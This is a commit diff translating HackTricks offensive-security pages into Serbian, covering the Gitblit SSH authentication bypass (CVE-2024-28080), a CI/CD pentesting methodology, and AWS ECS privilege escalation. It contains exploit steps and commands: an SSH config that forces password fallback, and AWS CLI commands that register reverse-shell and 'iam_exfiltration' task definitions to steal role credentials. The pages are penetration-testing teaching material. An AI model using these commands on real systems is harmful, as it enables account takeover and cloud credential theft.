Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2025-09-04 23:49:27 +00:00
parent 15970889f5
commit e230a6128d
4 changed files with 106 additions and 106 deletions

View File

@@ -1,10 +1,10 @@
# Gitblit Sigurnost
# Sigurnost Gitblit-a
{{#include ../../banners/hacktricks-training.md}}
## Šta je Gitblit
Gitblit je samohostovani Git server napisan u Javi. Može da radi kao standalone JAR ili u servlet kontejnerima i sadrži ugrađenu SSH uslugu (Apache MINA SSHD) za Git preko SSH.
Gitblit je samohostovan Git server napisan u Javi. Može da radi kao standalone JAR ili u servlet kontejnerima i uključuje ugrađenu SSH uslugu (Apache MINA SSHD) za Git over SSH.
## Teme

View File

@@ -4,34 +4,34 @@
## Sažetak
CVE-2024-28080 je bypass autentifikacije u ugrađenoj SSH usluzi Gitblit-a zbog netačnog rukovanja stanjem sesije prilikom integracije sa Apache MINA SSHD. Ako korisnički nalog ima registrovan bar jedan SSH public key, napadač koji zna username i bilo koji od tog korisnikovih public keys može se autentifikovati bez privatnog ključa i bez lozinke.
CVE-2024-28080 je authentication bypass u Gitblitovom embedded SSH servisu zbog incorrect session state handling pri integraciji sa Apache MINA SSHD. Ako korisnički nalog ima bar jedan SSH public key registrovan, napadač koji zna username i neki od public keys tog korisnika može se autentifikovati bez private key i bez passworda.
- Pogođeno: Gitblit < 1.10.0 (uočeno na 1.9.3)
- Ispravljeno: 1.10.0
- Zahtevi za eksploataciju:
- Git over SSH omogućen na instanci
- Žrtvin nalog ima registrovan bar jedan SSH public key u Gitblit-u
- Napadač zna žrtvino username i jedan od njihovih public keys (često otkrivljivo, npr. https://github.com/<username>.keys)
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Requirements to exploit:
- Git over SSH enabled on the instance
- Victim account has at least one SSH public key registered in Gitblit
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
## Uzrok (state leaks between SSH methods)
## Glavni uzrok (state leaks between SSH methods)
U RFC 4252, publickey authentication ide u dve faze: server prvo proverava da li je ponuđeni public key prihvatljiv za dati username, i tek nakon challenge/response sa signature autentifikuje korisnika. U MINA SSHD, PublickeyAuthenticator se poziva dvaput: pri prihvatanju ključa (još bez signature) i kasnije nakon što klijent vrati signature.
U RFC 4252, publickey authentication ide u dve faze: server prvo proverava da li je prosleđeni public key acceptable za dati username, i tek nakon challenge/response sa signature autentifikuje korisnika. U MINA SSHD, PublickeyAuthenticator se poziva dva puta: prilikom key acceptance (još bez signature) i kasnije nakon što klijent vrati signature.
Gitblit-ov PublickeyAuthenticator je mutirao kontekst sesije pri prvom, presignature pozivu vezujući autentifikovani UserModel za sesiju i vraćajući true ("key acceptable"). Kada se autentifikacija kasnije prebacila na password, PasswordAuthenticator je verovao tom izmenjenom stanju sesije i prečicom vratio uspeh, vraćajući true bez validacije password-a. Kao rezultat, bilo koja password (uključujući praznu) je bila prihvaćena nakon prethodnog publickey "acceptance" za istog korisnika.
Gitblitov PublickeyAuthenticator je izmenio session context pri prvom, presignature pozivu tako što je vezao autentifikovani UserModel za session i vratio true ("key acceptable"). Kada se kasnije autentikacija vratila na password, PasswordAuthenticator je verovao toj izmenjenoj session state i shortcircuited, vraćajući true bez validacije passworda. Kao rezultat, bilo koji password (uključujući prazan) je bio prihvaćen nakon prethodne publickey "acceptance" za istog korisnika.
Highlevel flawed flow:
1) Client nudi username + public key (još bez signature)
2) Server prepoznaje ključ kao pripadajući korisniku i prerano prikači user u sesiju, vraćajući true ("acceptable")
3) Client ne može da potpiše (nema private key), pa autentifikacija pada na password
4) Password auth vidi da user već postoji u sesiji i bezuslovno vraća success
1) Client offers username + public key (no signature yet)
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
3) Client cannot sign (no private key), so auth falls back to password
4) Password auth sees a user already present in session and unconditionally returns success
## Koraci za eksploataciju
## Eksploatacija korak po korak
- Sakupite žrtvino username i jedan od njihovih public keys:
- GitHub izlaže public keys na https://github.com/<username>.keys
- Javne servere često izlažu authorized_keys
- Konfigurišite OpenSSH da prezentuje samo public half tako da generisanje signature zakaže, prisiljavajući fallback na password dok i dalje pokreće publickey acceptance put na serveru.
- Prikupite username žrtve i jedan od njihovih public keys:
- GitHub exposes public keys at https://github.com/<username>.keys
- Public servers often expose authorized_keys
- Konfigurišite OpenSSH da predstavi samo public half tako da generisanje signature ne uspe, prisiljavajući fallback na password dok se i dalje pokreće publickey acceptance path na serveru.
Example SSH client config (no private key available):
```sshconfig
@@ -44,54 +44,54 @@ PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Povežite se i na promptu za lozinku pritisnite Enter (ili unesite bilo koji tekst):
Povežite se i pritisnite Enter pri upitu za lozinku (ili unesite bilo koji niz):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Autentifikacija uspeva zato što je ranija publickey faza izmenila sesiju i postavila je na autentifikovanog korisnika, a password auth pogrešno veruje tom stanju.
Autentifikacija uspeva zato što je ranija publickey faza izmenila sesiju u autentifikovanog korisnika, a password auth pogrešno veruje tom stanju.
Napomena: Ako je ControlMaster multiplexing omogućen u vašoj SSH konfiguraciji, naknadne Git komande mogu ponovo koristiti autentifikovanu konekciju, čime se povećava uticaj.
Napomena: Ako je ControlMaster multiplexing omogućen u vašem SSH configu, naredne Git komande mogu ponovo koristiti autentifikovanu konekciju, čime se povećava impact.
## Impact
- Full impersonation of any Gitblit user with at least one registered SSH public key
- Read/write access to repositories per victims permissions (source exfiltration, unauthorized pushes, supplychain risks)
- Potential administrative impact if targeting an admin user
- Pure network exploit; no brute force or private key required
- Potpuna impersonacija bilo kog Gitblit korisnika sa najmanje jednim registrovanim SSH public key
- Read/write pristup repozitorijumima u skladu sa permisijama žrtve (source exfiltration, unauthorized pushes, supplychain risks)
- Potencijalni administrativni uticaj ako se cilja admin korisnik
- Čisti network exploit; nije potreban brute force ili private key
## Detection ideas
- Pregledajte SSH logove za sekvence gde pokušaj publickey bude praćen uspešnom password autentifikacijom sa praznim ili vrlo kratkim passwordom
- Tražite tokove: publickey method koja nudi unsupported/mismatched key material praćena neposrednim uspehom password metode za isto korisničko ime
- Pregledajte SSH logove za sekvence u kojima pokušaj publickey bude praćen uspešnom password authentication sa praznim ili vrlo kratkim password-om
- Potražite tokove: publickey metoda koja nudi nepodržani/neslagajući key material, nakon čega sledi trenutni password success za isti username
## Mitigations
- Upgrade to Gitblit v1.10.0+
- Dok se ne izvrši nadogradnja:
- Disable Git over SSH on Gitblit, or
- Ograničite mrežni pristup SSH servisu, i
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
- Ažurirajte Gitblit na v1.10.0+
- Dok se ne ažurira:
- Onemogućite Git over SSH na Gitblit, ili
- Ograničite network pristup SSH servisu, i
- Pratite sumnjive obrasce opisane gore
- Promenite kredencijale pogođenih korisnika ako se sumnja na kompromitovanje
## Opšte: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
Pattern: Ako serverov publickey authenticator mutira korisničko/sesijsko stanje tokom presignature "key acceptable" faze i drugi authenticators (npr. password) veruju tom stanju, možete zaobići autentifikaciju na sledeći način:
Pattern: Ako publickey authenticator servera mutira user/session state tokom presignature "key acceptable" faze, i drugi authenticators (npr. password) veruju tom stanju, možete zaobići autentifikaciju tako što ćete:
- Presenting a legitimate public key for the target user (no private key)
- Forcing the client to fail signing so the server falls back to password
- Supplying any password while the password authenticator shortcircuits on leaked state
- Predstaviti legitimni public key za ciljног korisnika (bez private key)
- Prinuditi klijenta da ne uspe u signing-u tako da server pređe na password
- Uneti bilo koji password dok password authenticator shortcircuits na leaked state
Praktični saveti:
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- Public key harvesting at scale: povucite public keys sa uobičajenih izvora kao što su https://github.com/<username>.keys, organizacione direktorijume, team pages, leaked authorized_keys
- Forcing signature failure (clientside): postavite IdentityFile na samo .pub, set IdentitiesOnly yes, zadržite PreferredAuthentications da uključuje publickey pa password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
Povezane protokolarne/dizajnerske beleške i literatura:
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)
- Historical discussions on early acceptance oracles and auth races, e.g., CVE201620012 disputes around OpenSSH behavior

View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Methodology
# Pentesting CI/CD Metodologija
{{#include ../banners/hacktricks-training.md}}
@@ -6,48 +6,48 @@
## VCS
VCS znači **Version Control System**, ovi sistemi omogućavaju developerima da **upravljaju svojim source code-om**. Najčešći je **git** i obično ćete kompanije pronaći da ga koriste na jednoj od sledećih **platformi**:
VCS znači **Version Control System**, ovi sistemi dozvoljavaju developerima da **upravljaju svojim source code-om**. Najčešći je **git** i obično ćete kompanije naći koje ga koriste na jednoj od sledećih **platformi**:
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (oni nude svoje VCS platforme)
- Cloud providers (they offer their own VCS platforms)
## CI/CD Pipelines
CI/CD pipelines omogućavaju developerima da **automatizuju izvršavanje koda** u razne svrhe, uključujući build, testiranje i deploy aplikacija. Ovi automatizovani workflow-ovi se **okidaju određenim akcijama**, kao što su code pushes, pull requests, ili zakazani zadaci. Korisni su za pojednostavljenje procesa od razvoja do production-a.
CI/CD pipelines omogućavaju developerima da **automatizuju izvršavanje koda** za razne svrhe, uključujući build, testiranje i deploy aplikacija. Ovi automatizovani workflow-i su **okidači određenim akcijama**, kao što su code pushes, pull requests ili zakazani zadaci. Korisni su za pojednostavljenje procesa od development-a do produkcije.
Međutim, ovi sistemi moraju biti **izvedeni negde** i obično koriste **privileged credentials da bi deploy-ovali kod ili pristupili osetljivim informacijama**.
Međutim, ovi sistemi moraju da se **izvršavaju negde** i obično sa **privileged credentials da bi deploy-ovali kod ili pristupili osetljivim informacijama**.
## VCS Pentesting Methodology
> [!NOTE]
> Čak i ako neke VCS platforme dozvoljavaju kreiranje pipelines, za ovu sekciju ćemo analizirati samo potencijalne napade na kontrolu source code-a.
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
Platforme koje sadrže source code vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma pažljivi sa permissions koje se dodeljuju unutar te platforme. Ovo su neki uobičajeni problemi na VCS platformama koje napadač može zloupotrebiti:
Platforme koje sadrže source code vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma pažljivi sa permissions koje se dodeljuju unutar te platforme. Ovo su neki uobičajeni problemi preko VCS platformi koje napadač može zloupotrebiti:
- **Leaks**: Ako vaš code sadrži leaks u commit-ovima i napadač može pristupiti repo-u (jer je javno ili zato što on ima pristup), on može otkriti leaks.
- **Access**: Ako napadač može **pristupiti account-u unutar VCS platforme** mogao bi steći **veću vidljivost i permissions**.
- **Register**: Neke platforme će jednostavno dozvoliti eksternim korisnicima da kreiraju account.
- **SSO**: Neke platforme neće dozvoliti korisnicima registraciju, ali će dozvoliti bilo kome da se prijavi sa validnim SSO (tako napadač može koristiti svoj github account da se, na primer, prijavi).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... postoji više vrsta tokena koje korisnik može ukrasti da bi nekako pristupio repo-u.
- **Webhooks**: VCS platforme omogućavaju generisanje webhooks. Ako nisu **zaštićeni** sa non-visible secrets, **napadač ih može zloupotrebiti**.
- Ako nema secret-a, napadač može zloupotrebiti webhook treće strane platforme
- Ako je secret u URL-u, isto se dešava i napadač takođe dobija secret
- **Code compromise:** Ako maliciozni akter ima neku vrstu **write** pristupa nad repos-ima, mogao bi pokušati **inject-maliciozni kod**. Da bi bio uspešan možda će morati **zaobići branch protections**. Ove akcije mogu biti izvršene sa različitim ciljevima:
- **Leaks**: Ako vaš kod sadrži leaks u commit-ovima i napadač može da pristupi repo-u (jer je public ili zato što ima pristup), mogao bi otkriti te leaks.
- **Access**: Ako napadač može da **pristupi nalogu unutar VCS platforme** mogao bi steći **veću vidljivost i permissions**.
- **Register**: Neke platforme će samo dozvoliti eksternim korisnicima da kreiraju nalog.
- **SSO**: Neke platforme neće dozvoliti registraciju, ali će dozvoliti bilo kome da se prijavi sa validnim SSO (tako da napadač može koristiti svoj github nalog da e, na primer).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... postoji više vrsta tokena koje korisnik može ukrasti da bi na neki način pristupio repo-u.
- **Webhooks**: VCS platforme dozvoljavaju generisanje webhooks. Ako nisu **zaštićeni** sa nevidljivim secret-ima, **napadač ih može zloupotrebiti**.
- Ako nema secret-a na mestu, napadač može zloupotrebiti webhook treće strane
- Ako je secret u URL-u, isto se dešava i napadač tada takođe ima secret
- **Code compromise:** Ako zlonamerni akter ima neku vrstu **write** pristupa nad repos-ima, može pokušati da **inject-uje malicious code**. Da bi bio uspešan, možda će morati da **zaobiđe branch protections**. Ove akcije se mogu izvesti sa različitim ciljevima:
- Kompromitovati main branch da bi **kompromitovao production**.
- Kompromitovati main (ili druge branch-e) da bi **kompromitovao developere na njihovim mašinama** (jer oni obično izvršavaju testove, terraform ili druge stvari iz repo-a na svojim mašinama).
- **Compromise the pipeline** (pogledati sledeću sekciju)
- Kompromitovati main (ili druge brancheve) da **kompromituje developer-ove mašine** (pošto oni obično izvršavaju testove, terraform ili druge stvari unutar repo-a na svojim mašinama).
- **Compromise the pipeline** (pogledati sledeći odeljak)
## Pipelines Pentesting Methodology
Najčešći način da se definiše pipeline je korišćenjem **CI configuration file-a hostovanog u repository-ju** koji pipeline gradi. Ovaj fajl opisuje redosled izvršenih job-ova, uslove koji utiču na flow, i podešavanja build environment-a.\
Ovi fajlovi obično imaju konzistentno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i GitHub Actions YAML fajlovi pod .github/workflows. Kada se okine, pipeline job **povlači code** iz izabranog source-a (npr. commit / branch), i **izvršava komande navedene u CI configuration file-u** nad tim kodom.
Najčešći način definisanja pipeline-a je korišćenjem **CI configuration file** hostovanog u repository-ju koji pipeline build-uje. Ovaj fajl opisuje redosled izvršenih job-ova, uslove koji utiču na tok, i podešavanja build okruženja.\
Ovi fajlovi obično imaju konzistentno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i GitHub Actions YAML fajlovi locirani pod .github/workflows. Kada se okine, pipeline job **pull-uje kod** sa izabranog source-a (npr. commit / branch), i **izvršava komande navedene u CI configuration file-u** nad tim kodom.
Dakle, krajnji cilj napadača je nekako **kompromitovati te configuration fajlove** ili **komande koje oni izvršavaju**.
Dakle, krajnji cilj napadača je na neki način **kompromitovati te configuration fajlove** ili **komande koje oni izvršavaju**.
### PPE - Poisoned Pipeline Execution
@@ -71,14 +71,14 @@ There are 3 PPE flavours:
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
- **Secrets**: Kao što je ranije pomenuto, pipelines zahtevaju **privileges** za svoje job-ove (povlačenje koda, build, deploy...) i ti privileges su obično **dodeljeni u secrets**. Ti secrets su obično dostupni preko **env variables ili fajlova unutar sistema**. Zato će napadač uvek pokušati da eksfiltrira što više secrets-a moguće.
- U zavisnosti od pipeline platform-e napadač **može morati da specificira secrets u config-u**. To znači da ako napadač ne može da modifikuje CI configuration pipeline-a (**I-PPE** na primer), mogao bi **samo eksfiltrirati secrets koje taj pipeline ima**.
- **Computation**: Kod se izvršava negde; u zavisnosti gde, napadač možda može da pivot-uje dalje.
- **On-Premises**: Ako se pipelines izvršavaju on-premises, napadač može završiti u **internoj mreži sa pristupom većim resursima**.
- **Cloud**: Napadač može pristupiti **drugim mašinama u cloud-u** ali takođe može **eksfiltrirati** IAM roles/service accounts **tokens** iz njega da dobije **dalji pristup unutar clouda**.
- **Platforms machine**: Ponekad će job-ovi biti izvršeni unutar **pipelines platform machines**, koje obično sede u cloudu bez dodatnog pristupa.
- **Select it:** Ponekad će **pipelines platform konfigurisan sa više mašina** i ako možete **modifikovati CI configuration file** možete **naznačiti gde želite da izvršite maliciozni kod**. U toj situaciji, napadač će verovatno pokrenuti reverse shell na svakoj mogućoj mašini da pokuša dodatnu eksploataciju.
- **Compromise production**: Ako ste unutar pipeline-a i finalna verzija se build-uje i deploy-uje iz njega, mogli biste **kompromitovati kod koji će završiti u production-u**.
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and these privileges are usually **granted in secrets**. These secrets are obično dostupni preko **env variables ili fajlova unutar sistema**. Zbog toga će napadač uvek pokušati da eksfiltruje što više secrets-a.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: Kod se izvršava negde; u zavisnosti od mesta izvođenja, napadač može imati mogućnost daljeg pivot-a.
- **On-Premises**: Ako se pipelines izvršavaju on premises, napadač može završiti u **internoj mreži sa pristupom većim resursima**.
- **Cloud**: Napadač može pristupiti **drugim mašinama u cloudu** ali takođe može **eksfiltrirati** IAM roles/service accounts **tokens** iz njega da bi dobio **dalji pristup unutar clouda**.
- **Platforms machine**: Ponekad se job-ovi izvršavaju unutar **pipelines platform mašina**, koje obično postoje unutar clouda bez dodatnog pristupa.
- **Select it:** Ponekad će **pipelines platform biti konfigurisala više mašina** i ako možete **modifikovati CI configuration file** možete **naznačiti gde želite da pokrenete malicious code**. U tom slučaju, napadač će verovatno pokrenuti reverse shell na svakoj mogućoj mašini da pokuša dalje eksploatisati.
- **Compromise production**: Ako ste unutar pipeline-a i finalna verzija se build-uje i deploy-uje iz njega, možete **kompromitovati kod koji će se izvršavati u produkciji**.
## More relevant info

View File

@@ -12,7 +12,7 @@ Više **informacija o ECS** u:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS-u može **generisati novu task definiciju** sa **zlonamernim kontejnerom** koji krade metadata kredencijale i **pokrenuti je**.
Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS može **generisati novu task definition** sa **malicious container-om** koji krade metadata credentials i **pokrenuti je**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potencijalni uticaj:** Direktan privesc na drugu ECS ulogu.
**Potential Impact:** Direktan privesc na drugu ECS ulogu.
### `iam:PassRole`,`ecs:RunTask`
Napadač koji ima dozvole `iam:PassRole` i `ecs:RunTask` može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` (CLI) sadrži flag `--overrides` koji omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez menjanja task definition.
Napadač koji ima `iam:PassRole` i `ecs:RunTask` dozvole može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` u CLI sadrži opciju `--overrides` koja omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez izmene task definition.
Navedene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju u svojoj trust policy dozvoliti da ih `ecs-tasks.amazonaws.com` preuzme.
Naznačene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju dozvoljavati da ih preuzme `ecs-tasks.amazonaws.com` u svojoj politici poverenja.
Takođe, napadač treba da zna:
- ime ECS klastera
- Ime ECS klastera
- VPC Subnet
- Security group (Ako security group nije navedena, koristiće se podrazumevana)
- Task Definition name i revizija
- ime kontejnera
- Security group (Ako nije navedena, koristiće se podrazumevana)
- Ime Task Definition-a i revizija
- Ime kontejnera
```bash
aws ecs run-task \
--cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
U gornjem isječku koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u definiciji taska da bi napad bio moguć.
U gornjem primeru koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u task definition da bi napad bio moguć.
Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR sliku i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), onda napadač može navesti istu IAM ulogu za oba `executionRoleArn` i `taskRoleArn` u `ecs run-task` komandi.
Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR image i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), napadač može navesti istu IAM rolu za oba `executionRoleArn` i `taskRoleArn` u komandi `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Potential Impact:** Direktan privesc na bilo koju ECS task rolu.
**Potencijalni uticaj:** Direct privesc to any ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Baš kao u prethodnom primeru, napadač koji zloupotrebljava permisije **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** u ECS-u može **generisati novu task definition** sa **malicioznim kontejnerom** koji krade metadata credentials i **pokrenuti je**.\
Međutim, u ovom slučaju potreban je container instance da bi se pokrenula maliciozna task definition.
Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može da **generate a new task definition** sa **malicious container** koji krade **metadata credentials** i da ga **run it**.\
Međutim, u ovom slučaju, potrebna je container instance da bi se malicious task definition pokrenuo.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potencijalni uticaj:** Direktan privesc na bilo koju ECS rolu.
**Potencijalni uticaj:** Direct privesc to any ECS role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS-u može da generiše novu task definiciju sa malicioznim kontejnerom koji krade metadata kredencijale i pokrene je kreiranjem novog servisa sa najmanje jednim task-om koji radi.
Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu task definition** sa **malicioznim containerom** koji krade **metadata credentials** i **pokrenuti je kreiranjem novog servisa sa najmanje jednim taskom koji radi.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -173,7 +174,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Zapravo, samo sa tim dozvolama moguće je koristiti overrides da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom koristeći nešto poput:
Zapravo, samo sa tim dozvolama moguće je, koristi overrides, izvršiti proizvoljne komande u kontejneru sa proizvoljnom ulogom, nešto poput:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,16 +182,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potencijalni uticaj:** Direct privesc to any ECS role.
**Potential Impact:** Direktan privesc na bilo koju ECS ulogu.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Ovaj scenarij je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
Ovo je i dalje interesantno zato što, ako možete pokrenuti proizvoljan container, čak i bez role, mogli biste **pokrenuti privilegovani container da pobegnete** na node i **ukrasti EC2 IAM rolu** i **role drugih ECS containera** koji se izvršavaju na node-u.\
Možete čak i **prisiliti druge tasks da se pokrenu unutar EC2 instance** koju kompromitujete kako biste ukrali njihove credentials (kao što je opisano u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
Ovo je i dalje interesantno jer, ako možete pokrenuti proizvoljan kontejner, čak i ako je bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukrasti EC2 IAM ulogu** i **uloge drugih ECS kontejnera** koji se izvršavaju na čvoru.\
Mogli biste čak i naterati druge taskove da se pokrenu unutar EC2 instance koju kompromitujete kako biste ukrali njihove credentials (kao što je objašnjeno u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance, a ne Fargate.
> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance i ne Fargate.
```bash
printf '[
{
@@ -233,12 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog containera i eksfiltrirati IAM role prikačenu na njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\
Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM rolu vezanu za njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\
Međutim, da bi se to uradilo, container instance mora da pokreće **ExecuteCommand agent** (što po defaultu nije).
Stoga napadač može pokušati da:
Stoga napadač može pokušati:
- **Pokušati pokrenuti komandu** u svakom pokrenutom containeru
- **Pokušati izvršiti komandu** u svakom pokrenutom kontejneru
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -263,11 +264,11 @@ aws ecs execute-command --interactive \
Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**.
**Potential Impact:** Privesc to a different role attached to containers.
**Potencijalni uticaj:** Privesc na drugu rolu pridruženu kontejnerima.
### `ssm:StartSession`
Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc to ECS**:
Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc na ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -275,7 +276,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc to ECS**:
Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc na ECS**:
{{#ref}}
aws-ec2-privesc.md
@@ -283,17 +284,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. Ovo bi moglo omogućiti attacker-u da izvrši proizvoljan kod u kontekstu ECS taskova.
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
Attacker sa ovim dozvolama mogao bi potencijalno registrovati EC2 instancu u ECS klasteru i pokrenuti tasks na njoj. To bi attacker-u omogućilo izvršavanje proizvoljnog koda u kontekstu ECS tasks.
- TODO: Da li je moguće registrovati instancu iz drugog AWS account-a tako da se tasks pokreću na mašinama koje kontroliše attacker??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Test this
An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. Ovo omogućava attacker-u da izvrši proizvoljan kod unutar servisa.
Attacker sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati malicious task set za postojeću ECS service i ažurirati primary task set**. Ovo omogućava attacker-u da **izvrši proizvoljni kod unutar servisa**.
```bash
# Register a task definition with a reverse shell
echo '{
